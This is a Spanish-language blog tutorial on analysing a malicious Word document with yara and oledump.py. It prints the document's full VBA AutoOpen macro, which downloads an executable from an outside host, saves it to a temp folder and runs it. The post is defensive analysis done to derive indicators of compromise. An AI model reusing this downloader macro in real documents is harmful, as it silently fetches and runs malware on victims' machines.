En esta entrada vamos a ver de una manera muy rápida como hacer un análisis de un fichero OLE y analizar los streams que contenga (en este caso se trata de una macro) con la herramienta y reglas de Didier Stevens. El documento no es muy complejo pero nos sirve para ilustrar cómo utilizar esta herramienta.
Hash del fichero cazado en un correo:
e4e46f746fffa613087bba14666a3ceec47e145f Transferencia_Interbancaria.doc
Paso 1: Lanzamos yara con nuestra reglas:
$ yara maldoc.yara ../../Transferencia_Interbancaria.doc maldoc_OLE_file_magic_number ../../Transferencia_Interbancaria.doc
Paso 2: Ejecutamos oledump.py (http://blog.didierstevens.com/programs/oledump-py/):
$ python oledump.py ../../Transferencia_Interbancaria.doc
1: 125 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 11168 '1Table'
5: 457548 'Data'
6: 369 'Macros/PROJECT'
7: 41 'Macros/PROJECTwm'
8: M 5051 'Macros/VBA/ThisDocument'
9: 2995 'Macros/VBA/_VBA_PROJECT'
10: 515 'Macros/VBA/dir'
11: 41300 'WordDocument'
Esto nos indica que en el stream 8 tiene una macro (lo vemos porque aparece la M).
Paso 3: Ahora vamos a extraer el contenido de la macro (-s 8) descomprimido (-v)
$ python oledump.py -s 8 -v ../../Transferencia_Interbancaria.doc
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const GATE = "h t t p://loaesa.com/1/ss.exe"
Sub Auto_Open()
Call DownloadFile("33", "33.EXE")
End Sub
Sub AutoOpen()
Call DownloadFile("33", "33.EXE")
End Sub
Sub DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "tMp",
Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
On Error Resume Next
Err.Clear
Set OCX = CreateObject("Microsoft.XMLHTTP")
If RunHide = False Then: OCX.Open "GET", GATE, False
OCX.send
OCX.getAllResponseHeaders
FullSavePath = Environ(SavePath) & "\" & SaveName
Set DLL = CreateObject("ADODB.Stream")
DLL.Open
DLL.Type = 1
DLL.Write OCX.responseBody
DLL.SaveToFile FullSavePath, 2
If RunHide = False Then: CreateObject("WScript.Shell").Run FullSavePath
Application.DisplayAlerts = False
.....
.....
Application.Quit
End Sub
Con esto ya tenemos información para ver qué hace la macro y poder generar nuestros IOCs. En este caso vemos como se descarga de la dirección “hxxp://loaesa.com/1/ss.exe” un binario, que guardará como 33.EXE en el sistema y lo ejecutará.
Espero como siempre que os sea de utilidad.